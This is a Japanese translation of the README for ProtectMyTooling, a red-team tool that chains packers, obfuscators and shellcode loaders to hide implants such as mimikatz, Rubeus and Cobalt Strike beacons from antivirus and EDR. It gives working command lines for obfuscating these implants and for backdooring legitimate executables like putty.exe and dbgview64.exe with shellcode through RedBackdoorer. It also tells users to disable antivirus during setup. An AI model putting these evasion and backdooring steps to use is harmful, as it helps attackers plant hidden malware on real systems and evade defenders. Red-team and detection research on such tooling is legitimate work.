
Multi-Packerラッパー。さまざまなパッカー、難読化ツール、その他のレッドチーム向け兵器をデイジーチェーン接続できます。アーティファクトの透かし入れ、IOCの収集、PEバックドアリングを備えています。あなたのインプラントを投入すると、多くの陰湿な処理を行い、難読化された実行可能ファイルを出力します。

このソフトウェアを公開するに至った背景は、付随するブログ記事で概説されています:
多数のパッカー、プロテクター、難読化ツール、シェルコードローダー、エンコーダー、ジェネレーターをラップし、複雑に保護されたRed Teamインプラントを生成するスクリプトです。 マルウェア開発のCI/CDパイプラインにおける完璧な相棒であり、アーティファクトへの透かし入れ、IOCの収集、バックドアなどを支援します。
ProtectMyToolingGUI.py

ProtectMyToolingを使えば、ダイアログやインターフェース、メニューをすべてクリックして回ったり、単一のバイナリを難読化するためにプロジェクトを作成したり、利用可能なすべてのオプションをクリックして回るといった無駄な作業に煩わされることなく、迅速にバイナリを難読化できます。目的に直行します ― あなたのツールを難読化することです。
目標は、可能な限り最も便利なインターフェースを提供し、単一のバイナリに対して複数のパッカーを連鎖的に適用できるようにすることです。
そうです ― ProtectMyToolingを一度に複数のパッカーで起動できます:```
C:> py ProtectMyTooling.py hyperion,upx mimikatz.exe mimikatz-obf.exe
上記の例では、最初に `mimikatz.exe` を Hyperion に渡して難読化し、その結果を UPX に渡して圧縮します。結果は `UPX(Hyperion(file))` になります。
## Features
- 複数の異なるPEパッカー、.NET難読化ツール、シェルコードローダー/ビルダーをサポート
- パッカーのデイジーチェーンを可能にし、あるパッカーの出力が次のパッカーに渡されます: `callobf,hyperion,upx` は成果物 `UPX(Hyperion(CallObf(file)))` を生成します
- 各難読化ステップでIOCを収集し、監査やBlue Teamの要求を満たすことができます
- 結果のPE成果物にカスタムウォーターマークを注入する機能を提供 - DOSスタブ、チェックサム、スタンドアロンPEセクション、ファイルのオーバーレイ内
- 便利なCobalt Strikeアグレッサースクリプトを備え、`protected-upload` および `protected-execute-assembly` コマンドを提供します
- わかりやすいコマンドライン使用法
## Installation
**このツールはWindows上で動作するように設計されています。ほとんどのパッカーはネイティブにそのプラットフォームをターゲットとしているためです。**
ただし、一部の機能はLinuxでも問題なく動作する可能性がありますが、そのサポートは完全にテストされていません。バグや問題があれば報告してください。
1. まず、**AVを無効に**し、`contrib` ディレクトリを除外リストに追加します。そのディレクトリには難読化ツールやプロテクターが含まれており、AVにフラグされて削除される可能性があります。
2. 次に、このリポジトリをクローンします```
PS C:\> git clone --recurse https://github.com/Binary-Offensive/ProtectMyTooling
Windows``` PS C:\ProtectMyTooling> .\install.ps1
**Linux**```
bash# ./install.sh
ScareCrow パッカーが Windows 10 で動作するためには、WSL がインストールされており、bash.exe が利用可能である必要があります(%PATH% 内)。さらに、WSL 内では、少なくともバージョン 1.16 の golang がインストールされている必要があります。```
cmd> bash
bash$ sudo apt update ; sudo apt upgrade -y ; sudo apt install golang=2:1.18~3 -y
## 設定
サポートされている難読化ツールをプラグインしたり、デフォルトオプションを変更したり、**ProtectMyTooling** を難読化ツールの実行可能ファイルのパスに指定したりするには、`config\ProtectMyTooling.yaml` 設定ファイルを調整する必要があります。
また、`config\sample-full-config.yaml` ファイルには、サポートされているすべてのパッカーで利用可能なすべてのオプションが含まれており、参考資料として機能します。
## 注意事項
- 生成されたバイナリがクラッシュしたり、期待どおりに動作しない場合は、別のパッカーチェーンを試してみてください。
- パッカーは生成されたバイナリの安定性を保証しないため、ProtectMyTooling も保証できません。
- チェーンする際は、連続するパッカーが期待するペイロード形式に合わせて、出力→入力ペイロード形式を慎重に一致させてください。
---
## 使用方法
`ProtectMyTooling` を初めて使用する前に、プログラムの YAML 設定ファイル `ProtectMyTooling.yaml` を調整することが不可欠です。
パラメータの処理順序は次のとおりです。
- 最初にデフォルトパラメータが使用されます。
- 次に、YAML からの値で上書きされます。
- 最後に、コマンドラインで指定されたものは、対応する値を上書きします。
そこで、サポートされているパッカーのパスとオプションを設定して有効にします。
### シナリオ 1: シンプルな ConfuserEx 難読化
使用方法は非常に簡単で、選択する難読化ツールの名前、入力ファイルと出力ファイルのパスを渡すだけです。```
C:\> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe
::::::::::.:::::::.. ... :::::::::::.,:::::: .,-::::::::::::::::
`;;;```.;;;;;;``;;;; .;;;;;;;;;;;;;;;\''';;;;\'\''',;;;'````;;;;;;;;\'\'''
`]]nnn]]' [[[,/[[[' ,[[ \[[, [[ [[cccc [[[ [[
$$$"" $$$$$$c $$$, $$$ $$ $$"""" $$$ $$
888o 888b "88bo"888,_ _,88P 88, 888oo,_`88bo,__,o, 88,
. YMMMb :.-:.MM ::-. "YMMMMMP" MMM """"YUMMM"YUMMMMMP" MMM
;;,. ;;;';;. ;;;;'
[[[[, ,[[[[, '[[,[[['
$$$$$$$$"$$$ c$$"
888 Y88" 888o,8P"`
::::::::::::mM... ... ::: :::::. :::. .,-:::::/
;;;;;;;;\'''.;;;;;;;. .;;;;;;;. ;;; ;;`;;;;, `;;,;;-'````'
[[ ,[[ \[[,[[ \[[,[[[ [[[ [[[[[. '[[[[ [[[[[[/
$$ $$$, $$$$$, $$$$$' $$$ $$$ "Y$c$"$$c. "$$
88, "888,_ _,88"888,_ _,88o88oo,._888 888 Y88`Y8bo,,,o88o
MMM "YMMMMMP" "YMMMMMP"""""YUMMMMM MMM YM `'YMUP"YMM
Red Team implants protection swiss knife.
Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
Mariusz Banach / mgeeky '20-'22, <[email protected]>
v0.16
[.] Processing x86 file: "\Rubeus.exe"
[.] Generating output of ConfuserEx(<file>)...
[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(<file>): 756224, ratio: 181.23%
ファイルを難読化し、すぐに起動を試みることもできます(オプションのパラメータも指定可能)。オプション -r --cmdline CMDLINE を使用して正常に動作することを確認します。```
C:> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe -r --cmdline "hash /password:foobar"
[...]
[.] Processing x86 file: "\Rubeus.exe" [.] Generating output of ConfuserEx()...
[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(): 758272, ratio: 181.72%
Running application to test it...
(_____ \ | | ) ) | | _____ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) | || | | || ||/|/|_____)__/(_/
v2.0.0
[*] Action: Calculate Password Hash(es)
[] Input password : foobar [] rc4_hmac : BAAC3929FABC9E6DCD32421BA94A84D4
[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!
### シナリオ3: ウォーターマーキングとIOC収集を用いた複雑なマルウェア難読化
以下のユースケースは、入力として`beacon.exe`を受け取り、それを`CallObf` -> `UPX` -> `Hyperion`パッカーに連続的に投入します。
次に、指定された`fooobar`ウォーターマークを最終生成出力アーティファクトのDOSスタブに注入し、さらにそのアーティファクトのチェックサムを値`0xAABBCCDD`で変更します。
最後に、ProtectMyToolingはすべてのIOC(md5、sha1、sha256、imphash、およびその他のメタデータ)をキャプチャし、補助的なCSVファイルに保存します。そのファイルは、エンゲージメントの展開に伴うIOCマッチングに使用できます。```
PS> py .\ProtectMyTooling.py callobf,upx,hyperion beacon.exe beacon-obf.exe -i -I operation_chimera -w dos-stub=fooobar -w checksum=0xaabbccdd
[...]
[.] Processing x64 file: "beacon.exe"
[>] Generating output of CallObf(<file>)...
[.] Before obfuscation file's PE IMPHASH: 17b461a082950fc6332228572138b80c
[.] After obfuscation file's PE IMPHASH: 378d9692fe91eb54206e98c224a25f43
[>] Generating output of UPX(CallObf(<file>))...
[>] Generating output of Hyperion(UPX(CallObf(<file>)))...
[+] Setting PE checksum to 2864434397 (0xaabbccdd)
[+] Successfully watermarked resulting artifact file.
[+] IOCs written to: beacon-obf-ioc.csv
[+] SUCCEEDED. Original file size: 288256 bytes, new file size Hyperion(UPX(CallObf(<file>))): 175616, ratio: 60.92%
生成されたIOCエビデンスCSVファイルは次のようになります:```csv timestamp,filename,author,context,comment,md5,sha1,sha256,imphash 2022-06-10 03:15:52,beacon.exe,mgeeky@commandoVM,Input File,test,dcd6e13754ee753928744e27e98abd16,298de19d4a987d87ac83f5d2d78338121ddb3cb7,0a64768c46831d98c5667d26dc731408a5871accefd38806b2709c66cd9d21e4,17b461a082950fc6332228572138b80c 2022-06-10 03:15:52,y49981l3.bin,mgeeky@commandoVM,Obfuscation artifact: CallObf(),test,50bbce4c3cc928e274ba15bff0795a8c,15bde0d7fbba1841f7433510fa9aa829f8441aeb,e216cd8205f13a5e3c5320ba7fb88a3dbb6f53ee8490aa8b4e1baf2c6684d27b,378d9692fe91eb54206e98c224a25f43 2022-06-10 03:15:53,nyu2rbyx.bin,mgeeky@commandoVM,Obfuscation artifact: UPX(CallObf()),test,4d3584f10084cded5c6da7a63d42f758,e4966576bdb67e389ab1562e24079ba9bd565d32,97ba4b17c9bd9c12c06c7ac2dc17428d509b64fc8ca9e88ee2de02c36532be10,9aebf3da4677af9275c461261e5abde3 2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Obfuscation artifact: Hyperion(UPX(CallObf())),test,8b706ff39dd4c8f2b031c8fa6e3c25f5,c64aad468b1ecadada3557cb3f6371e899d59790,087c6353279eb5cf04715ef096a18f83ef8184aa52bc1d5884e33980028bc365,a46ea633057f9600559d5c6b328bf83d 2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Output obfuscated artifact,test,043318125c60d36e0b745fd38582c0b8,a7717d1c47cbcdf872101bd488e53b8482202f7f,b3cf4311d249d4a981eb17a33c9b89eff656fff239e0d7bb044074018ec00e20,a46ea633057f9600559d5c6b328bf83d
## サポートされているパッカー
`ProtectMyTooling` は、難読化ツール/パッカーだけでなく、コマンドラインから使用可能なあらゆる種類のビルダー/ジェネレーター/シェルコードローダーをサポートするように設計されています。
現時点では、プログラムはさまざまな商用およびオープンソースのパッカー/難読化ツールをサポートしています。オープンソースのものはプロジェクト内にバンドルされています。商用のものは、ユーザーが製品を購入し、`ProtectMyTooling.yaml` ファイル内でその場所を設定して、スクリプトがそれらを見つけられるようにする必要があります。
1. [`Amber`](https://github.com/EgeBalci/amber) - リフレクティブPEパッカー。入力としてEXE/DLLを受け取り、EXE/PICシェルコードを生成します。
2. [`AtomPePacker`](https://github.com/ORCx41/AtomPePacker) - 高性能なPEパッカー。
3. [`AsStrongAsFuck`](https://github.com/Charterino/AsStrongAsFuck) - Charterino による .NET アセンブリ用のコンソール難読化ツール。
4. [`CallObfuscator`](https://github.com/d35ha/CallObfuscator) - 特定のWindows APIを異なるAPIで難読化します。
5. [`ConfuserEx`](https://github.com/mkaring/ConfuserEx) - 人気の .NET 難読化ツール。 [Martin Karing](https://github.com/mkaring) からフォーク。
6. [`Donut`](https://github.com/TheWover/donut) - 人気のPEローダー。入力としてEXE/DLL/.NETを受け取り、PICシェルコードを生成します。
7. [`Enigma`](https://enigmaprotector.com/) - 実行可能ファイルの包括的な保護のために設計された強力なシステム。
8. [`Freeze`](https://github.com/optiv/Freeze) - 入力EXE/DLLファイルを受け取り、証明書をクローンし、Golang固有のIoCを削除し、サイズを肥大化させた出力ファイルを生成します。作成者: Matt Eidelberg (@Tyl0us)。
9. [`Hyperion`](https://nullsecurity.net/tools/binary.html) - 32ビットおよび64ビットのポータブル実行可能ファイル向けのランタイム暗号化ツール。これはリファレンス実装であり、論文「Hyperion: Implementation of a PE-Crypter」に基づいています。
10. [`IntelliLock`](https://www.eziriz.com/intellilock.htm) - 強力なライセンスセキュリティ、高度に適応可能なライセンス機能/スキーム、信頼性の高いアセンブリ保護を組み合わせます。
11. [`InvObf`](https://github.com/danielbohannon/Invoke-Obfuscation) - `Invoke-Obfuscation` (作成者: Daniell Bohannon) を使用してPowerShellスクリプトを難読化します。
12. [`LoGiC.NET`](https://github.com/AnErrupTion/LoGiC.NET) - AnErrupTion による dnlib を使用した、より高度なフリーでオープンな .NET 難読化ツール。
13. [`Mangle`](https://github.com/optiv/Mangle) - 入力EXE/DLLファイルを受け取り、証明書をクローンし、Golang固有のIoCを削除し、サイズを肥大化させた出力ファイルを生成します。作成者: Matt Eidelberg (@Tyl0us)。
14. [`MPRESS`](https://www.autohotkey.com/mpress/mpress_web.htm) - Vitaly Evseenko による MPRESS 圧縮ツール。入力EXE/DLL/.NET/MAC-DARWIN (x86/x64) を受け取り、圧縮します。
15. [`NetReactor`](https://www.eziriz.com/dotnet_reactor.htm) - コードの逆コンパイルを完全に阻止する、比類のない .NET コード保護システム。
16. [`NetShrink`](https://www.pelock.com/pl/produkty/netshrink) - Windows および Linux の .NET アプリケーション向けの実行ファイルパッカー(実行ファイル圧縮ツール)、アプリケーションパスワードプロテクター、仮想DLLバインダー。
17. [`Nimcrypt2`](https://github.com/icyguider/Nimcrypt2) - 入力の .NET、PE、またはRawシェルコードを実行するNimローダーを生成します。作成者: [(@icyguider)](https://twitter.com/icyguider)
18. [`NimPackt-v1`](https://github.com/chvancooten/NimPackt-v1) - 入力としてシェルコードまたは .NET 実行可能ファイルを受け取り、EXE または DLL ローダーを生成します。Cas van Cooten [(@chvancooten)](https://twitter.com/chvancooten) による提供。
19. [`NimSyscallPacker`](https://github.com/S3cur3Th1sSh1t-Sponsors/NimSyscallPacker) - PE/シェルコード/.NET 実行可能ファイルを受け取り、堅牢な Nim+Syscalls EXE/DLL ローダーを生成します。スポンサーウェア。作成者: [(@S3cur3Th1sSh1t)](https://twitter.com/ShitSecure)
20. [`Packer64`](https://github.com/jadams/Packer64) - John Adams の `Packer64` のラッパー。
21. [`pe2shc`](https://github.com/hasherezade/pe_to_shellcode) - PE をシェルコードに変換します。作成者: [@hasherezade](https://twitter.com/hasherezade)
22. [`peCloak`](https://github.com/v-p-b/peCloakCapstone/blob/master/peCloak.py) - マルチパスエンコーダー&ヒューリスティックサンドボックスバイパスAV回避ツール。
23. [`peresed`](https://github.com/avast/pe_tools) - **avast/pe_tools** の `peresed` を使用して、既存のすべてのPEリソースと署名を削除します(Mimikatzアイコンを思い浮かべてください)。
24. [`peunion`](https://bytecode77.com/pe-union) - 実行可能ファイル(x86 または .NET x86/x64)を暗号化し、ランタイムに復号化されてメモリ内で実行されます。
25. [`ScareCrow`](https://github.com/optiv/ScareCrow) - EDRを回避する x64 シェルコードローダー。DLL/CPL/XLL/JScript/HTA アーティファクトローダーを生成します。
26. [`sgn`](https://github.com/EgeBalci/sgn) - Shikata ga nai (仕方がない) エンコーダーを Go に移植し、いくつかの改良を加えたもの。シェルコードを受け取り、エンコードされたシェルコードを生成します。
27. [`SmartAssembly`](https://www.red-gate.com/products/dotnet-development/smartassembly/) - リバースエンジニアリングや改変からアプリケーションを保護する難読化ツール。サードパーティによるソースコードへのアクセスを困難にします。
28. [`sRDI`](https://github.com/monoxgas/sRDI) - DLL を位置非依存シェルコードに変換します。作成者: [Nick Landers, @monoxgas](https://twitter.com/monoxgas)
29. [`Themida`](https://www.oreans.com/Themida.php) - 高度なWindowsソフトウェア保護システム。
30. [`UPX`](https://upx.github.io/) - 複数の実行可能形式に対応する、フリーでポータブル、拡張可能、高性能な実行ファイルパッカー。
31. [`VMProtect`](https://vmpsoft.com/) - 非標準アーキテクチャの仮想マシン上でコードを実行することで保護し、解析やクラッキングを極めて困難にします。
サポートされているパッカーは `-L` オプションを使用して簡単に一覧表示できます(テーブルの列はターミナルの幅に応じて選択され、幅が広いほど多くの情報が表示されます)。```
C:\> py ProtectMyTooling.py -L
[...]
Red Team implants protection swiss knife.
Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
Mariusz Banach / mgeeky '20-'22, <[email protected]>
v0.16
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| # | Name | Type | Licensing | Input | Output | Author |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| 1 | amber | open-source | Shellcode Loader | PE | EXE, Shellcode | Ege Balci |
| 2 | asstrongasfuck | open-source | .NET Obfuscator | .NET | .NET | Charterino, klezVirus |
| 3 | atompepacker | open-source | PE EXE/DLL Protector | PE | EXE, DLL | ORCA (@ORCx41, [email protected]) |
| 4 | backdoor | open-source | Shellcode Loader | Shellcode | PE | Mariusz Banach, @mariuszbit |
| 5 | callobf | open-source | PE EXE/DLL Protector | PE | PE | Mustafa Mahmoud, @d35ha |
| 6 | confuserex | open-source | .NET Obfuscator | .NET | .NET | mkaring |
| 7 | donut-packer | open-source | Shellcode Converter | PE, .NET, VBScript, JScript | Shellcode | TheWover |
| 8 | enigma | commercial | PE EXE/DLL Protector | PE | PE | The Enigma Protector Developers Team |
| 9 | freeze | open-source | Shellcode Loader | Shellcode | PE | Matt Eidelberg (@Tyl0us) |
| 10 | hyperion | open-source | PE EXE/DLL Protector | PE | PE | nullsecurity team |
| 11 | intellilock | commercial | .NET Obfuscator | PE | PE | Eziriz |
| 12 | invobf | open-source | Powershell Obfuscator | Powershell | Powershell | Daniel Bohannon |
| 13 | logicnet | open-source | .NET Obfuscator | .NET | .NET | AnErrupTion, klezVirus |
| 14 | mangle | open-source | Executable Signing | PE | PE | Matt Eidelberg (@Tyl0us) |
| 15 | mpress | freeware | PE EXE/DLL Compressor | PE | PE | Vitaly Evseenko |
| 16 | netreactor | commercial | .NET Obfuscator | .NET | .NET | Eziriz |
| 17 | netshrink | open-source | .NET Obfuscator | .NET | .NET | Bartosz Wójcik |
| 18 | nimcrypt2 | open-source | Shellcode Loader | PE, .NET, Shellcode | PE | @icyguider |
| 19 | nimpackt | open-source | Shellcode Loader | .NET, Shellcode | PE | Cas van Cooten (@chvancooten) |
| 20 | nimsyscall | sponsorware | Shellcode Loader | PE, .NET, Shellcode | PE | @S3cur3Th1sSh1t |
| 21 | packer64 | open-source | PE EXE/DLL Compressor | PE | PE | John Adams, @jadams |
| 22 | pe2shc | open-source | Shellcode Converter | PE | Shellcode | @hasherezade |
| 23 | pecloak | open-source | PE EXE/DLL Protector | PE | PE | Mike Czumak, @SecuritySift, buherator / v-p-b |
| 24 | peresed | open-source | PE EXE/DLL Protector | PE | PE | Martin Vejnár, Avast |
| 25 | peunion | freeware | PE EXE/DLL Compressor | PE, .NET | PE | Martin Fischer / bytecode77 <[email protected]> |
| 26 | scarecrow | open-source | Shellcode Loader | Shellcode | DLL, JScript, CPL, XLL | Matt Eidelberg (@Tyl0us) |
| 27 | sgn | open-source | Shellcode Encoder | Shellcode | Shellcode | Ege Balci |
| 28 | smartassembly | commercial | .NET Obfuscator | .NET | .NET | Red-Gate |
| 29 | srdi | open-source | Shellcode Encoder | DLL | Shellcode | Nick Landers, @monoxgas |
| 30 | themida | commercial | PE EXE/DLL Protector | PE | PE | Oreans |
| 31 | upx | open-source | PE EXE/DLL Compressor | PE | PE | Markus F.X.J. Oberhumer, László Molnár, John F. Reiser |
| 32 | vmprotect | commercial | PE EXE/DLL Protector | PE | PE | vmpsoft |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
上記はサポートされているパッカーですが、それらが設定済みで使用可能な状態であることを意味するわけではありません。
使用するには、まず必要なバイナリをcontribディレクトリに配置し、それに応じてYAMLファイルを設定する必要があります。
このプログラムはプロフェッショナルなRed Team向けに設計されており、一般的なインプラント開発のCI/CDパイプラインでの使用に最適です。
レッドチーマーとして、私は常にすべてのインプラントに対応する適切な品質のIOCリストを提供することが期待されており、また、帳簿管理、帰属、追跡可能性のためにすべてのインプラントにウォーターマークを付けることが不可欠であると考えています。
これらの要件に対応するため、ProtectMyToolingは基本的なサポートを提供します。
ProtectMyToolingは、難読化ラウンド後に--watermarkオプションを使用するだけでウォーターマークを適用できます。:```
py ProtectMyTooling [...] -w dos-stub=fooooobar -w checksum=0xaabbccdd -w section=.coco,ALLYOURBASEAREBELONG
スタンドアロンのアプローチもあります。`RedWatermarker.py` スクリプトに含まれています。
入力として実行可能アーティファクトを受け取り、ウォーターマークを注入する場所と挿入する値を示すいくつかのパラメータを受け入れます。
実行例では、PE Checksum を 0xAABBCCDD に設定し、PE ファイルの DOS スタブ (_This program cannot be run..._ を含むバイト) に `foooobar` を挿入し、ファイルのオーバーレイに `bazbazbaz` を追加し、新しい PE セクション `.coco` を作成してファイルの末尾に追加し、そのセクションをプリセットマーカーで埋めます。```
py RedWatermarker.py beacon-obf.exe -c 0xaabbccdd -t fooooobar -e bazbazbaz -s .coco,ALLYOURBASEAREBELONG
Full watermarker の使用法:``` cmd> py RedWatermarker.py --help
;
ED.
,E#Wi
j. f#iE###G. EW, .E#t E#fD#W; E##j i#W, E#t t##L E###D. L#D. E#t .E#K, E#jG#W; :K#Wfff; E#t j##f E#t t##f i##WLLLLtE#t :E#K: E#t :K#E: .E#L E#t t##L E#KDDDD###i f#E: E#t .D#W; ,; G: ,; E#f,t#Wi,,, ,WW; E#tiW#G. f#i j. j. E#, : f#i j. E#t ;#W: ; .D#;E#K##i .. GEEEEEEEL .E#t EW, .. : .. EW, E#t .GE .E#t EW, DWi ,K.DL ttE##D. ;W, ,;;L#K;;. i#W, E##j ,W, .Et ;W, E##j E#t j#K; i#W, E##j f. :K#L LWL E#t j##, t#E L#D. E###D. t##, ,W#t j##, E###D. E#GK#f L#D. E###D. EW: ;W##L .E#f L: G###, t#E :K#Wfff; E#jG#W; L###, j###t G###, E#jG#W; E##D. :K#Wfff; E#jG#W; E#t t#KE#L ,W#; :E####, t#E i##WLLLLt E#t t##f .E#j##, G#fE#t :E####, E#t t##f E##Wi i##WLLLLt E#t t##f E#t f#D.L#L t#K: ;W#DG##, t#E .E#L E#t :K#E: ;WW; ##,:K#i E#t ;W#DG##, E#t :K#E:E#jL#D: .E#L E#t :K#E: E#jG#f L#LL#G j###DW##, t#E f#E: E#KDDDD###i j#E. ##f#W, E#t j###DW##, E#KDDDD###E#t ,K#j f#E: E#KDDDD###i E###; L###j G##i,,G##, t#E ,WW; E#f,t#Wi,,,.D#L ###K: E#t G##i,,G##, E#f,t#Wi,,E#t jD ,WW; E#f,t#Wi,,, E#K: L#W; :K#K: L##, t#E .D#; E#t ;#W: :K#t ##D. E#t :K#K: L##, E#t ;#W: j#t .D#; E#t ;#W: EG LE. ;##D. L##, fE tt DWi ,KK:... #G .. ;##D. L##, DWi ,KK: ,; tt DWi ,KK: ; ;@ ,,, .,, : j ,,, .,,
Watermark thy implants, track them in VirusTotal
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>
usage: RedWatermarker.py [options]
options: -h, --help show this help message and exit
Required arguments: infile Input implant file
Optional arguments: -C, --check Do not actually inject watermark. Check input file if it contains specified watermarks. -v, --verbose Verbose mode. -d, --debug Debug mode. -o PATH, --outfile PATH Path where to save output file with watermark injected. If not given, will modify infile.
PE Executables Watermarking: -t STR, --dos-stub STR Insert watermark into PE DOS Stub (This program cannot be run...). -c NUM, --checksum NUM Preset PE checksum with this value (4 bytes). Must be number. Can start with 0x for hex value. -e STR, --overlay STR Append watermark to the file's Overlay (at the end of the file). -s NAME,STR, --section NAME,STR Append a new PE section named NAME and insert watermark there. Section name must be shorter than 8 characters. Section will be marked Read-Only, non-executable.
現在はPEファイルの透かしのみがサポートされていますが、将来的にはOffice文書やその他の形式も追加される予定です。
### IOCsの収集
IOCsは、`ProtectMyTooling`の実行時に`-i`オプションを使用することで収集できます。
次のフェーズで収集されます:
- 入力ファイル上で
- 各難読化ラウンド後の中間ファイル上で
- 最終出力ファイル上で
これらはCSVファイルの形式で保存され、以下のフィールドが含まれます:
- `timestamp`
- `filename`
- `author` - `username@hostname` の形式で構成されます
- `context` - レコードが入力ファイル、出力ファイル、中間ファイルのいずれを指すか
- `comment` - ユーザーが `-I value` オプションで調整した値
- `md5`
- `sha1`
- `sha256`
- `imphash` - PEインポートハッシュ(利用可能な場合)
- (TODO) `typeref_hash` - .NET TypeRefハッシュ(利用可能な場合)
結果として、生成された出力アーティファクトと同じ場所に `outfile-ioc.csv` という名前のCSVファイルが保存されます。このファイルはAPPENDモードで書き込まれ、後続のすべてのIOCが追加されます。
# RedBackdoorer - 組み込みのPEバックドア
`ProtectMyTooling`は、PE実行ファイルにバックドアを仕込むためのいくつかのメソッドを提供する独自の`RedBackdoorer.py`スクリプトを利用しています。サポートは`backdoor`という名前の専用パッカーとして提供されます。使用例:
**入力としてCobalt Strikeシェルコードを受け取り、SGN(Shikata Ga-Nai)でエンコードして、SysInternals DbgView64.exeにバックドアを仕込み、Amber EXEリフレクティブローダーを生成します。**```
PS> py ProtectMyTooling.py sgn,backdoor,amber beacon64.bin dbgview64-infected.exe -B dbgview64.exe
::::::::::.:::::::.. ... :::::::::::.,:::::: .,-::::::::::::::::
`;;;```.;;;;;;``;;;; .;;;;;;;;;;;;;;;;;;;,;;;'````;;;;;;;;
`]]nnn]]' [[[,/[[[' ,[[ \[[, [[ [[cccc [[[ [[
$$$"" $$$$$$c $$$, $$$ $$ $$"""" $$$ $$
888o 888b "88bo"888,_ _,88P 88, 888oo,_`88bo,__,o, 88,
. YMMMb :.-:.MM ::-. "YMMMMMP" MMM """"YUMMM"YUMMMMMP" MMM
;;,. ;;;';;. ;;;;'
[[[[, ,[[[[, '[[,[[['
$$$$$$$$"$$$ c$$"
888 Y88" 888o,8P"`
::::::::::::mM... ... ::: :::::. :::. .,-:::::/
;;;;;;;;.;;;;;;;. .;;;;;;;. ;;; ;;`;;;;, `;;,;;-'````'
[[ ,[[ \[[,[[ \[[,[[[ [[[ [[[[[. '[[[[ [[[[[[/
$$ $$$, $$$$$, $$$$$' $$$ $$$ "Y$c$"$$c. "$$
88, "888,_ _,88"888,_ _,88o88oo,._888 888 Y88`Y8bo,,,o88o
MMM "YMMMMMP" "YMMMMMP"""""YUMMMMM MMM YM `'YMUP"YMM
Red Team implants protection swiss knife.
Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
Mariusz Banach / mgeeky '20-'22, <[email protected]>
v0.16
[.] Processing x64 file : beacon64.bin
[>] Generating output of sgn(<file>)...
[>] Generating output of backdoor(sgn(<file>))...
[>] Generating output of Amber(backdoor(sgn(<file>)))...
[+] SUCCEEDED. Original file size: 265959 bytes, new file size Amber(backdoor(sgn(<file>))): 1372672, ratio: 516.12%
RedBackdoorer の完全な使用方法:``` cmd> py RedBackdoorer.py --help
██▀███ ▓█████▓█████▄
▓██ ▒ ██▓█ ▀▒██▀ ██▌
▓██ ░▄█ ▒███ ░██ █▌
▒██▀▀█▄ ▒▓█ ▄░▓█▄ ▌
░██▓ ▒██░▒████░▒████▓
░ ▒▓ ░▒▓░░ ▒░ ░▒▒▓ ▒
░▒ ░ ▒░░ ░ ░░ ▒ ▒
░░ ░ ░ ░ ░ ░
▄▄▄▄ ▄▄▄░ ░ ▄████▄ ██ ▄█▓█████▄ ▒█████ ▒█████ ██▀███ ▓█████ ██▀███
▓█████▄▒████▄ ░▒██▀ ▀█ ██▄█▒▒██▀ ██▒██▒ ██▒██▒ ██▓██ ▒ ██▓█ ▀▓██ ▒ ██▒
▒██▒ ▄█▒██ ▀█▄ ▒▓█ ▄▓███▄░░██ █▒██░ ██▒██░ ██▓██ ░▄█ ▒███ ▓██ ░▄█ ▒
▒██░█▀ ░██▄▄▄▄██▒▓▓▄ ▄██▓██ █▄░▓█▄ ▒██ ██▒██ ██▒██▀▀█▄ ▒▓█ ▄▒██▀▀█▄
░▓█ ▀█▓▓█ ▓██▒ ▓███▀ ▒██▒ █░▒████▓░ ████▓▒░ ████▓▒░██▓ ▒██░▒████░██▓ ▒██▒
░▒▓███▀▒▒▒ ▓▒█░ ░▒ ▒ ▒ ▒▒ ▓▒▒▒▓ ▒░ ▒░▒░▒░░ ▒░▒░▒░░ ▒▓ ░▒▓░░ ▒░ ░ ▒▓ ░▒▓░
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░░ ▒ ▒ ░ ▒ ▒░ ░ ▒ ▒░ ░▒ ░ ▒░░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ▒ ░░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░
Your finest PE backdooring companion.
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>
usage: RedBackdoorer.py [options]
options: -h, --help show this help message and exit
Required arguments: mode PE Injection mode, see help epilog for more details. shellcode Input shellcode file infile PE file to backdoor
Optional arguments: -o PATH, --outfile PATH Path where to save output file with watermark injected. If not given, will modify infile. -v, --verbose Verbose mode.
Backdooring options: -n NAME, --section-name NAME If shellcode is to be injected into a new PE section, define that section name. Section name must not be longer than 7 characters. Default: .qcsw -i IOC, --ioc IOC Append IOC watermark to injected shellcode to facilitate implant tracking.
Authenticode signature options: -r, --remove-signature Remove PE Authenticode digital signature since its going to be invalidated anyway.
PE Backdooring consists of two comma-separated options. First one denotes where to store shellcode, second how to run it:
save,run
| |
| +---------- 1 - change AddressOfEntryPoint
| 2 - hijack branching instruction at Original Entry Point (jmp, call, ...)
| 3 - setup TLS callback
|
+-------------- 1 - store shellcode in the middle of a code section
2 - append shellcode to the PE file in a new PE section
Example:
py RedBackdoorer.py 1,2 beacon.bin putty.exe putty-infected.exe
# Cobalt Strike 統合
`ProtectMyTooling.py` をラッパーとして使用し、設定されたPE/.NETパッカー/プロテクターのチェーンを介して入力された実行ファイルを簡単に保護・圧縮し、Cobalt Strike内でアップロードまたは使用するためのスクリプトも用意されています。
